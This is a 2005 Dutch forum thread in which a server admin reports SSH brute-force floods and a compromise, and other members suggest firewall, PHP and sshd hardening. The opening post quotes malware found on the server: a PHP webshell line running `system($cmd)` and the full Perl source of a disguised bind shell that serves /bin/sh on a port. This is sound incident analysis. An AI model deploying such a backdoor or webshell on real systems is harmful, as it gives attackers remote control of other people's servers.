ssh flooding op webserver

[dybe]

Ik beheer een fedora core 1 server waar enkele websites en mail op draaien.

Sinds een tijdje staan mijn logs vol met inlogfouten.
Zo is mijn logwatch van 120K per dag naar 5500K gegaan (dat is 5.5Mb!).

In dit topic beschrijf ik hoe ik tot nu toe heb geprobeerd hieriets aan te doen. Ik hoop wat reacties te krijgen van mensen die soortgelijks meegemaakt hebben.

De logfiles staan vol met typische gebruikersnamen, zoals bijvoorbeeld :

code:

Failed password for invalid user loginuse from 216.218.198.110 port 46700 ssh2
Invalid user loginuse from 216.218.198.110
error: Could not get shadow information for NOUSER
Failed password for invalid user loginuse from 216.218.198.110 port 46705 ssh2
Invalid user loginuse from 216.218.198.110
error: Could not get shadow information for NOUSER
etc

Ze komen ook van verschillende ip's, ik ben ondertussen de tel al kwijt.
Ik heb wat ip's afgelopen, en er kwamen japanse en chinese sites tevoorschijn.
Ik denk zelf dat dit een heleboel zombie pc's zijn die mn server op een erg trieste manier proberen in te breken.

Kijk, op zich ga ik er niet vanuit dat hun inlogattempts zullen slagen, maar toch is het wel erg vervelend.


De actie is volgens mij begonnen rond de tijd dat ik erachter kwam dat een klant van mij een 'raar' scriptje had staan, die daar door zn ongeupdate software waarschijnlijk gekomen was.
Met dat ding kon je via apache commando's runnen (het heette webshell.php), waar enkel dit in te vinden was :

PHP:

  echo "<H4><pre>";
  system($cmd) ;
  echo "</pre></H4>";

Deze aangemaakte processen draaide natuurlijk onder www user, maar ik denk dat ze dit (probeerde) te gebruiken om te spammen. Mijn queue is echter erg schoon, en ik heb geen rare bounce mails ontvangen.
Er draaide een proces onder de www user die er niet hoorde, maar van de /proc werd ik (helaas)niet wijzer.
Ik kwam erachter dat er in dezelfde map ook een perl bestand stond : bind.pl
deze bevatte de volgende code :

code:

#!/usr/bin/perl

$port = 32262; 
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
        exec("/bin/sh");
    }
    close X;
}

Ik ben zelf geen perl programeur, maar volgens mij luisterd dit programma op een poort, wacht op instructies, en voert ze hierna op het filesystem uit.
Er kan ook argv[0] meegegeven worden, dan gaat hij niet op de default poort openstaan.

Mijn computer is (volgens mij) dus nu ook lid van een botnetwerk.

De commando's worden uitgevoerd via web, waarschijnlijk zou dit wel in mijn accesslog staan, deze dus greppen op webshell.php.
Helaas is het een redelijk grote log, maar uiteindelijk zo'n 30 regels.
Hier een lijst van zijn commando's :
ls (14/Aug/2005:21:44:26)
ls
ps
ls
cd data (het is nu 16 aug. 10:45:44)
cd data/src
cd data/src; mv zftp logd
cd data/src; ls
cd data/src; mv zftp.cfg logd.cfg
cd data/src;ls
ls (het is nu 21 aug. 21:03)
cd data/src; ls (hij was 't weer vergeten)
ls (het is nu 31 augustus)
cd data; ls
cd data/src/; ls
cd data/src/; cat logd.cfg
ls (05/Sep/2005:22:21:38)
cd data
cd data; ls
cd data/src/; ls (die kennen we ondertussen wel )
cd data/src/; cat logd
cd data/src/; cat logd.cfg
ls (16/Sep/2005:08:41:55)
cd data/src
cd data/src; ls
cd data/src; cat logd.cfg
ls (17/Sep/2005:22:10:20)
ps
killall -9 logd (hij killt zichzelf!)
cd data/src; ./logd logd.cfg (en hij start zichzelf opnieuw.
ps
(rond deze tijd kreeg ik door dat er een proces draaide wat er niet hoorde, ik had hier echter geen aandacht aan besteed)
ls (18/Sep/2005:16:32:16)
cd data
cd data/src; ls
cd data/src; ps
cd data/src; killall -9 zftp (ik denk dat dit een vergissing van hem is?)
cd data/src; ps
cd data/src; killall -9 logd
cd data/src; ./logd logd.cfg
(dit gebeurt zo nog een paar keer), totdat ik uiteindelijk erachter kwam waar het script vandaan kwam.

Ik heb dit nog eens bestudeerd, en de logd.cfg staat dit :

code:

users DiMONN:CL:AsD12LL
log /dev/null
external 0.0.0.0
internal MIJNIP
auth strong
allow *
proxy -p5190 -n

De logd file is een binary, en ik kan daar niets in vinden. Ik wil hem ook niet runnen, maar ik neem aan dat het gewoon een poortje openzet.

Uiteindelijk heb ik alles weggegooid en heeft de klant zn update gedraait. Sindsdien zit ik dus met die login attempts (het zijn er soms wel 4 per seconde) :

Wat kan ik het beste in dit geval doen ? En hoe realistisch is de kans dat deze 'brute forcing' 'hack' werkt ?
Heeft iemand van jullie dit ook wel eens gehad? En hoe is dat toen afgelopen ?

Bedankt voor jullie interesse
Dyon

[HunterPro]

zolang men niet binnenkomt: mooizo. En verder is een logje van 5.5 meg echt geen drol. Liever een log van 5 en een hele halve mb dan geen log, denk ik dan maar. En als je het echt spannend vindt zorg je dat je logrotate ook die logs meeneemt. SSH flooding of iig bruteforcing overkomt praktisch iedereen wel, en kun je geen drol aan doen (leuke optie is wel om ssh te firewallen en te filteren zodat slechts jouw IP kan ssh'en, wordt alleen minder leuk als je ADSL lijn down is en je bij je buurman even je server wilt beheren.)

de logd service is dus zftp en niet logd. Oftewel: er draait een ftp server die doet alsof ie logd heet. Kill logd en verwijder em (de binary 'logd' is geen systeembinary vziw maar klinkt enorm interessant en daarom zou je em niet verwijderen). Ik hoop voor je dat je daarmee het grootste deel weg hebt. Wil je echt zekerheid, dan is het helaas maar waar formatteren, uithuilen en opnieuw beginnen. Heb je ook al eens chkrootkit gedraaid? (een recente).

[ Voor 31% gewijzigd door HunterPro op 30-09-2005 06:08 ]

[TheBorg]

Met zoveel inlog attempts zou ik Brute Force Detection installeren, dan komen ze vanzelf in de firewall (bijv. Advanced Policy Firewall).

-edit-
Ik zou users ook niet toestaan external commands uit te voeren (php.ini)!

[ Voor 26% gewijzigd door TheBorg op 30-09-2005 06:49 ]

[WHiZZi]

TheBorg schreef op vrijdag 30 september 2005 @ 06:42:
-edit-
Ik zou users ook niet toestaan external commands uit te voeren (php.ini)!

^ with stupid

Gewoon system() en exec() iig uitzetten in PHP.ini. Krijg je dit soort problemen ook niet.

Verder zou ik, als het verder niet nodig is, je firewall aanpassen zodat van een beperkt aantal IP adressen SSH toegang mogelijk is (en meer niet!)

en just for sure, effe chkrootkit of rootkithunter laten draaien.. je weet nooit (hidden processen)

[dybe]

Hallo,

Ik heb inderdaad de binary en zijn bijbehorende bestanden verwijderd (nadat ik een externe backup ervan gemaakt heb)

Ik heb een nieuwe rkhunter gedraait.
Om er helemaal zeker van te zijn heb ik ook nog een pstree binary van mijn lokale install op de server (in mn homedir) gezet, en er bleken geen hidden processen te zijn.

Ik neem aan dat ik van het logd ding afben, het flooden gaat echter door

Ik denk dat ik me ga verdiepen in het BFD project, maar dat wil ik eerst lokaal testen...

[Wilke]

dybe schreef op vrijdag 30 september 2005 @ 05:21:
Ik beheer een fedora core 1 server waar enkele websites en mail op draaien.

Sinds een tijdje staan mijn logs vol met inlogfouten.

Ze komen ook van verschillende ip's, ik ben ondertussen de tel al kwijt.

Wel uit bepaalde ranges?

Afhankelijk van of je als bedrijf ook maar iets met die landen te maken hebt, is het misschien een optie om verkeer van complete landen (desnoods class A of B netblocks) in een klap door je firewall weg te laten flikkeren (voor China is dit zeker een te overwegen optie als je weet hoeveel crap daar vandaan komt...als ze de great firewall of China nou ook eens voor dat soort uitgaand verkeer zouden fixen... ).

Misschien is dat een beetje met een kanon op een mug schieten, maar als je alles een dagje blockt houden ze er wellicht wel mee op.

Nadeel: je blockt snel per ongeluk te veel.

Het nadeel van het automatisch blocken van IP's die blijkbaar proberen te brute-forcen, is dat je daarmee vrij makkelijk een DoS kunt opzetten, door vanaf een heleboel spoofed IP-adressen verkeer te genereren, die dan allemaal in de banlist komen. Voor je het weet sluit je jezelf per ongeluk buiten...

[Arnout]

Ik merk dat SSH flooding enorm is toegenomen de laatste tijd.

Ik beheer 3 Debian servers achter consumer ADSL verbindingen. Op 2 van de 3 servers heb ik regelmatig SSH floodings, het duurt soms wel 2 uur lang en een aantal pogingen per seconde. Ik zie het ook duidelijk in de mrtg stats terug.

[DiedX]

Ik heb mijn eigen server, met bekende IP-adressen voor bijvoorbeeld thuis. Ik heb een firewall gebouwd welke blokkeerd met mod_recent. Werkt prima. Dit zal NIET werken met shared webservers ben ik bang .

Interesse?

[TrailBlazer]

je kan ook met de limit module van iptables een max aantal connecties per minuut configureren. Je staat jezelf wel altijd toe te connecten maar vanaf een ander ip slechts een keer per 5 minuten.
http://www.netfilter.org/...et-filtering-HOWTO-7.html

overigens ik zou me meer zorgen maken om het gat in je webserver dan login attempst
Ik zit trouwens ff te kijken en ik zie dat er in mijn auth.log 1895 unieke illegal names staan en dan tel ik root niet eens mee

[ Voor 16% gewijzigd door TrailBlazer op 04-10-2005 09:24 ]

[Evilbee]

Je kan in je php.ini ook de "open_basedir" dan kunnen ze met php alleen dingen uitvoeren die in die directory staan.

[LoBbY_1]

Evilbee schreef op dinsdag 04 oktober 2005 @ 09:31:
Je kan in je php.ini ook de "open_basedir" dan kunnen ze met php alleen dingen uitvoeren die in die directory staan.

Precies, en om het nog veiliger te maken zou ik ook de "safe mode" van PHP aanzetten. Dit om er voor te zorgen dat gebruikers geen shell commando's kunnen uitvoeren die schade aan zouden kunnen richten.

[nzyme]

weet niet of het interessant is maar je kan ssh ook een bepaalde tijd laten 'stallen' tussen fout password events... iig is dat met die firewall en timeouts wel het beste wat je doen kan

edit: en natuurlijk die php meuk aanpassen

[ Voor 15% gewijzigd door nzyme op 04-10-2005 21:24 ]

[Nakebod]

Een wat ouder topic over ssh login's:
Toename ssh login attempts

Had er zelf ook vrij veel last van, tegenwoordig wisselend.
Kan alleen ivm wisselende locaties moeilijk slechts een paar ip's toelaten.

[ Voor 46% gewijzigd door Nakebod op 04-10-2005 21:31 ]

[Verwijderd]

Met ssh kun je er ook voor opteren van enkel key based authenticatie te maken, zonder paswoord. Heb je enkel een usb stick nodig met de key. De key zelf kun je locaal beveiligen met een paswoord.

Er bestaat voldoende google literatuur over het opzetten van een PKI met ssh.

[daft_dutch]

ik denk dat iedereen met een linux server wel eens last van heeft.
het is een worm dat maar wat rond raad.
gewoon root van uitenaf uitzetten.

er is een programma "ik weet niet meer hoe het heeft"
dat stel je in op een zooi poorten en luistert of er iemand poortscant.
makkelijkste is om die persoon voor 1 uur te weren.

[ShadowBumble]

daft_dutch schreef op woensdag 05 oktober 2005 @ 14:59:
ik denk dat iedereen met een linux server wel eens last van heeft.
het is een worm dat maar wat rond raad.
gewoon root van uitenaf uitzetten.

er is een programma "ik weet niet meer hoe het heeft"
dat stel je in op een zooi poorten en luistert of er iemand poortscant.
makkelijkste is om die persoon voor 1 uur te weren.

Nog makelijker is gewoon je sshd deamon op een andere poort te laten draaien

[Verwijderd]

daft_dutch schreef op woensdag 05 oktober 2005 @ 14:59:
ik denk dat iedereen met een linux server wel eens last van heeft.
het is een worm dat maar wat rond raad.
gewoon root van uitenaf uitzetten.

er is een programma "ik weet niet meer hoe het heeft"
dat stel je in op een zooi poorten en luistert of er iemand poortscant.
makkelijkste is om die persoon voor 1 uur te weren.

PortSentry. Overigens vind ik het nogal wat om sshd op een andere poort te zetten (kom op zeg, dit is _mijn_ stukje internet waar dat uitkomt; als mensen zich niet kunnen inhouden worden ze geblokt, daar ga ik m'n sshd niet voor op een andere poort zetten (laat staan als ze een btje kunnen portscannen; het blijft security through obscurity)). In principe zijn er 2 mogelijkheden imho:

1) ssh alleen toestaan vanaf bekende ip's
2) ssh voor iedereen openzetten en logscanners/ids's/sentry's draaien welke de scriptkiddo's blokt op je firewall

Ook kun je met AllowedUsers in sshd_config een heleboel doen. De timeout van een uur vind ik persoonlijk nogal genereus (voor bedrijfsnetwerken, laat ze rustig een dag of langer geblokt blijven) cq onzinnig (voor thuisnetwerken, gewoon permanent blokken die hap). Vergeet niet dat dit voornamelijk door automatische scanners gedaan wordt, en dat de persoon erachter niet veel van zo'n timeout zal merken. Voor de rest is het een btje een non issue als je je machines goed uptodate houdt (/me vind de tientallen smb requests per minuut @ z'n firewall erger dan ssh floodings).

[ Voor 28% gewijzigd door Verwijderd op 05-10-2005 16:35 ]

[eghie]

Opsomming aan beveiligingsdingen waar je eens naar kunt kijken:
- Apache in chroot omgeving (ook de www gebruiker de chroot omgeving als root meegeven)
- PHP in safemode draaien.
- In PHP de system() en exec() commando's blocken (dit wordt geloof ik al gedaan zo gauw je hem op safemod zet)
- Kijk eens naar de pakketten PortSentry, Snort.
- Probeer eens iets met iptables op te lossen.
- Probeer ook eens je server te beveiligen met het pakket Bastile.
- Zorg dat er een antirootkit en antivirus draait op de achtergrond.

[Nvidiot]

PortSentry draaien is niet echt handig. Het is vrij triviaal om een portscan te faken die van jouw default gateway vandaan komt. PortSentry denkt: Hee! Een portscan van <default gateway>. *BLOCK*. En dat was je webserver

[eghie]

Nvidiot schreef op dinsdag 11 oktober 2005 @ 14:38:
PortSentry draaien is niet echt handig. Het is vrij triviaal om een portscan te faken die van jouw default gateway vandaan komt. PortSentry denkt: Hee! Een portscan van <default gateway>. *BLOCK*. En dat was je webserver

Snort die blokkeerd geloof ik die pakketjes waarin het IP is gespoofed, dus als het goed is krijg je dat gedonder niet.

[Nvidiot]

Dat zou ik knap vinden. Snort kan wel zien dat een pakket met bijvoorbeeld 192.168.1.7 als bron niet op het internet voor hoort te komen, die kun je ook veilig blokkeren. Maar hij kan niet zien of een scan nou echt van je default gateway komt of niet

[serkoon]

Nvidiot schreef op dinsdag 11 oktober 2005 @ 14:38:
PortSentry draaien is niet echt handig. Het is vrij triviaal om een portscan te faken die van jouw default gateway vandaan komt. PortSentry denkt: Hee! Een portscan van <default gateway>. *BLOCK*. En dat was je webserver

Dat is nog maar de vraag. Ten eerste droppen routers packets die vanaf interface A komen en een source-address hebben uit het subnet van interface B (dus ook het IP-adres van de router zelf op interface B ). Dus die gespoofde packets zouden dus alleen van je eigen subnet, dus buiten de router om, gestuurd kunnen worden.
En dan nog is het de vraag of je een probleem hebt als iemand met het adres van je gateway een portscan doet op jou. Portsentry zal dan wel het IP-adres van je gateway blocken, maar zolang ARP het nog blijft doen, is er niks aan de hand. Het enige dat dan niet zal werken is IP-packets sturen met destination address van de gateway, maar dat doe je doorgaans toch niet

[eghie]

Nvidiot schreef op dinsdag 11 oktober 2005 @ 19:35:
Dat zou ik knap vinden. Snort kan wel zien dat een pakket met bijvoorbeeld 192.168.1.7 als bron niet op het internet voor hoort te komen, die kun je ook veilig blokkeren. Maar hij kan niet zien of een scan nou echt van je default gateway komt of niet

Dit kan snort toch controlleren met de TCP Three-Way-Handshake? Tenminste, als het via TCP wordt gedaan. Als die handshake niet goed gaat, dan weet hij toch dat het pakketje niet van de gateway komt? Of heb ik het mis? Hoe dit met UDP zou moeten, weet ik niet, want volgens mij heeft UDP geen handshake methode.

Met zowieso een IP spoofen bij poortscans of bij brute force attacks kan ik me niet echt voorstellen, aangezien ze een status of iets dergelijks moeten terug krijgen en bij een spoofed IP adres wordt de status naar het verkeerde adres gestuurd. Ze moeten toch op een of andere manier kunnen zien of de poort wel open/dicht is of bij brute-force of de inlog gegevens wel kloppen? Alleen voor een DDOS zou dat IP spoofen kunnen.

Hmm, ik vond net een interessant stukje over poortscannen via TCP protocol:

quote: http://www.windowsecurity..._Scanning_ISA_Server.html

TCP "IP Half Scans"


To establish a TCP session, the two computers participating in the session must first go through what is known as the "three-way handshake". The three way handshake goes something like this:


Client: sends a message with the SYN flag on

Server: replies to the client with a message that has SYN and ACK flags on

Client: replies to the server’s SYN/ACK message with an ACK message

During the three-way handshake, various TCP/IP parameters are set that insure the two machines are able to participate in a TCP session. After the handshake is completed, a session is established and the machines can start transferring Application Layer data.

If you want to know what TCP ports are open, you can generate a three way handshake on all TCP ports at the destination computer. This can be a time consuming process, so you might want to speed things up by only investigating ports of interest.

Another way of speeding up the investigation for open TCP ports is to eliminate the final ACK message sent by the client. You don’t need to establish a TCP session with the destination computer; you just need to know if a port is open and responding to connection requests. You can do this by eliminating the third phase of the three-way handshake. You still get the information you need, because all you need to know is if the server responds with the SYN/ACK message.

The TCP half scan is a good way of enumerating the open TCP ports. Other techniques can be applied to the identified ports to assess whether more information can be gleaned from them.

De conclusie die ik hieruit trek is dat je met de TCP Three-way-handshake nog niet kunt controlleren of het een gespoofed IP is of een echt IP die van een TCP half scan aan het scannen is. In beide gevallen wordt de handshake niet doorgezet.

[ Voor 76% gewijzigd door eghie op 11-10-2005 23:21 . Reden: conclusie bijgevoegd ]

[Verwijderd]

Ook kun je een "stille" server op internet gebruiken als source ip.
Je kijkt dan na elk verstuurde SYN of de stille server een port omhoog gaat; dit betekent ook dat de destination server op die poort luisterd. En word je eigen IP bij de destination nooit bekend.

Misschien beetje off-topic maar dit als reactie op eghie.

[Verwijderd]

Nvidiot schreef op dinsdag 11 oktober 2005 @ 14:38:
Hee! Een portscan van <default gateway>. *BLOCK*. En dat was je webserver

Mja, als je geen hosts gaat whitelisten ben je een beetje onbezonnen bezig als je dit soort tools gebruikt imho.... Je def gateway, net zoals alle hosts die onder jouw controle zitten en het/de ip(s) van je werk/school dienen altijd gewhitelist te zijn.

eghie schreef op dinsdag 11 oktober 2005 @ 19:13:
[...]
Snort die blokkeerd geloof ik die pakketjes waarin het IP is gespoofed, dus als het goed is krijg je dat gedonder niet.

Snort is een passief component. Eg, er wordt alleen gedetecteerd, niet geblokt (mja, of je moet iets van snort_inline icm iptables of andere zelfgeschreven tools gebruiken). Gespoofed verkeer komt dus gewoon binnen en zal ook door snort gedetecteerd worden.

Alleen voor een DDOS zou dat IP spoofen kunnen.

Nee hoor Stel nu de situatie dat de attacker een netwerk beheerst waarin een host staat welke gespoofed kan worden cq verkeer loopt wat gespoofed is. De attacker kan nu een packetsniffer op dat netwerk draaien, portscannen / attacken met een spoofed ip, en de resultaten daarvan opvangen dmv de sniffer. Dwz, het is mogelijk om een spoofed portscan uit te voeren waarbij je de resultaten van je scan opvangt.

De conclusie die ik hieruit trek is dat je met de TCP Three-way-handshake nog niet kunt controlleren of het een gespoofed IP is of een echt IP die van een TCP half scan aan het scannen is. In beide gevallen wordt de handshake niet doorgezet.

In algemene zin is het zo, dat als de 3way handshake gelukt is, het onmogelijk een gespoofed ip kan zijn. Is de handshake niet volledig gedaan, dan bestaat de mogelijkheid dat het source-ip gespoofed is.

Enne @ZiXon: Daar zijn open-proxies voor

[Guru Evi]

Scans gaan zowiezo komen. Je kunt er weinig aan doen en het heeft ook weinig zin om er iets aan te doen.

Wat ik meestal doe is mijn beheer-services (SSH, Webmin) niet op een standaard poort te draaien maar op een andere poort en indien mogelijk enkel bepaalde ip's of blocks toe te laten naar die services. Eventueel kun je ook een tunnel opzetten (zoals IPSec) of een permanente omgekeerde tunnel (van je server naar je client) zodat je de service niet aan de buitenwereld moet voorstellen.

De rest moet je firewall maar afhandelen, requests op poorten waar niemand moet zijn moeten niet beantwoord worden (drop) behalve dan de standaard (FTP, SSH, Telnet of gewoon <1024) moeten rejected worden. Dit heeft als voordeel dat scans vertraagd worden (omdat ze wachten op een timeout en niets krijgen) alsook geraakt je kanaal niet gevuld bij een DoS met teruggaand verkeer naar (gespoofde of zombie) ip's.

[Verwijderd]

Ik heb ook SSH draaien, met certificate logins en alleen users in een bepaalde groep mogen inloggen (dus icm met certificaat). Dit is de enige poort ook die ik forward naar die server. Is er nu enig risico? Want ik zie ook regelmatig zo'n brute-force attack langs komen..

[MrBarBarian]

Verwijderd schreef op vrijdag 28 oktober 2005 @ 12:36:
Ik heb ook SSH draaien, met certificate logins en alleen users in een bepaalde groep mogen inloggen (dus icm met certificaat). Dit is de enige poort ook die ik forward naar die server. Is er nu enig risico? Want ik zie ook regelmatig zo'n brute-force attack langs komen..

Ja, iedere port die openstaat is een risico.. Plus het gebruik van certificaten is een extra risico, omdat die krengen statisch zijn.. m.a.w. een inbreker krijg alle tijd om zo'n ding te hacken/cracken... Opzich is een password-based authenticatie hier dus sterker.. Maar dwing dan wel af dat je gebruikers een sterk password gebruiken (letter+cijfers+vage tekens).. Mocht je toch certificaten willen gebruiken, gebruik dat een soort certificaat dat slechts een bepaalde tijd valid is (bijv dmv Kerberos)...

Tot slot nog een tip (is misschien al genoemt?):
Gebruik een firewall die aan maximaal aantal connecties van een ip per tijdeenheid accepteerd. Op die manier maak je brute force weer een stuk lastiger.

[Equator]

Verwijderd schreef op vrijdag 28 oktober 2005 @ 12:36:
Ik heb ook SSH draaien, met certificate logins en alleen users in een bepaalde groep mogen inloggen (dus icm met certificaat). Dit is de enige poort ook die ik forward naar die server. Is er nu enig risico? Want ik zie ook regelmatig zo'n brute-force attack langs komen..

Zolang jij geen wchtwoorden uit een dictionary hebt, of makkelijk te raden zal het wel meevallen.

Toevallig had ik 2 maanden geleden ook een behoorlijke attack. Ongeveer 300 entry's in het log komende vanaf 2 verschillende IP adressen.
Van de laatste heb ik melding gemaakt bij zijn provider. Het kan zijn dat die user zelf niets deed, en dat zijn PC werd misbruikt, maar goed.. Keurig mail gekregen van zijn provider dat ze er onderzoek naar zouden doen.

Momenteel is het vrij rustig..

[Verwijderd]

Nou ik gebruik voor users die in loggen op ssh een private key, tenminste, elke user heeft zijn eigen private key. Die gebruiken ze dan met hun ssh client en bij het inloggen mnoeten ze hun pass-phrase invoeren als extra authenticatie. Zonder certificaat kunnen ze uberhaupt (met wat voor username dan ook) niet inloggen, maar met hun private key wordt ook nog eens een pass-phrase gevraagd. Hoe kan een attacker dan nog inloggen? Alleen als hij een private key heeft is dit mogelijk. Een private RSA key is alleen moeilijk te raden/na te maken denk ik? Of zit ik daar nu fout? Dat elke service die openstaat een pontentieel risk kan zijn is logisch, maar daar kom je nooit omheen natuurlijk Misschien als extra veiligheid een soort port-knocking methode gebruiken?

[Badger]

Op het moment heb ik alleen mijn sshd config aangepast om alleen bepaalde groepen en users binnen te laten en enkel met key + passphrase inloggen.
Port veranderen zou ook kunnen maar dat valt onder de noemer "security through obscurity". Ben ik niet echt dol op
Op het moment ben ik nog bezig met een nieuwe firewall die wat strenger op port 22 controleerd en het aantal connecties limiteerd.

Ook misschien wel intressant is om met syslog-ng je logs wat te filteren. Standaard komt alles gewoon in messages terecht:

code:

...

source src { unix-stream("/dev/log"); internal(); pipe("/proc/kmsg"); };

destination messages { file("/var/log/messages"); };
destination console_all { file("/dev/console"); };  
destination d_sshd { file("/var/log/sshd/sshd.log"); };

filter f_sshd {           
        program("sshd.*");
};                        

log { source(src); filter(f_sshd); destination(d_sshd); flags(final); };
log { source(src); destination(messages); };

Eventueel log rotate aanpassen.

Overigens kunnen kernel parameters handig zijn.

[Verwijderd]

De best oplossing vind ik persoonlijk deze:

/etc/ssh/sshd_config
code:
_{PermitRootLogin no
AllowUsers kevin}


Dit is dus een aanpassing je je sshd_config. Dit zorgt ervoor dat vanaf extern geen root mag inloggen en dat alleen gebruikers die bij "Allowusers" staan mogen inloggen.

[0xDEADBEEF]

Verwijderd schreef op woensdag 02 november 2005 @ 16:28:
De best oplossing vind ik persoonlijk deze:

/etc/ssh/sshd_config
code:
_{PermitRootLogin no
AllowUsers kevin}


Dit is dus een aanpassing je je sshd_config. Dit zorgt ervoor dat vanaf extern geen root mag inloggen en dat alleen gebruikers die bij "Allowusers" staan mogen inloggen.

Of je voegt jezelf toe bij de groep adm,

code:

sudo usermod -G adm $user

waar je in /etc/sshd_config "AllowGroups" adm invult vergeet ook "%adm ALL = (ALL) ALL" in /etc/sudoers niet.

[ Voor 15% gewijzigd door 0xDEADBEEF op 03-11-2005 10:45 ]

[vanaalten]

Mmmm... over SSH root login: wat is er op tegen om root-login toe te staan vanaf het LAN?

sshd_config:
PermitRootLogin yes
AllowUsers <username> root@192.168.1.*

Ik vind het namelijk wel zo makkelijk dat ik vanaf m'n windows-PC snel even een root-window kan openen op m'n server...
(ja, ik ben mij bewust van het risico dat ik daarmee neem, namelijk dat ik ook snel even een root-window kan openen en per ongeluk rm -fr / kan intikken... ben voornamelijk geinteresseerd in het security-deel vanaf het internet)

[Verwijderd]

ik heb zelf ssh altijd dicht zitten en maak gebruik van dynamisch aan te maken whitelist ip`s.
(deze maak ik aan met een php scriptje)

maar als je je ssh toch open wilt houden en je wilt iets aan flooding doen is Daemonshield de beste optie die ik ooit heb kunnen vinden.

het is een daemon (in python) die je logs in de gaten houdt en firewall regels genereert.

http://sourceforge.net/projects/daemonshield/


erg simpel te te installeren en beheren. en ik geloof dat je er ook andere services mee kunt "watchen" zoals imap, pop, etc. het dropt simpelweg elk ip dat een aantal keer met een ongeldige user/pass probeert in te loggen.

[we_are_borg]

Wat je kan doen is APF installeren en dan ook daarbij een bruteforce detectie. Wat er dan gebeurd is dat bij een bruteforce poging is dat na 3 keer proberen de IP adres doorgegeven wordt naar de APF deze wordt op dat moment netjes geblockeerd. Het voordeel is dat de server geen antwoord meer geeft naar dat IP nummer zelfs een ping wordt niet meer behandelt voor dat IP adres. Ik heb het zelf lopen op mijn server en het werkt goed, alleen de blacklist moet je bij houden na drie maanden gooi ik de bovenste er uit zo blijft bij een restart de server snel.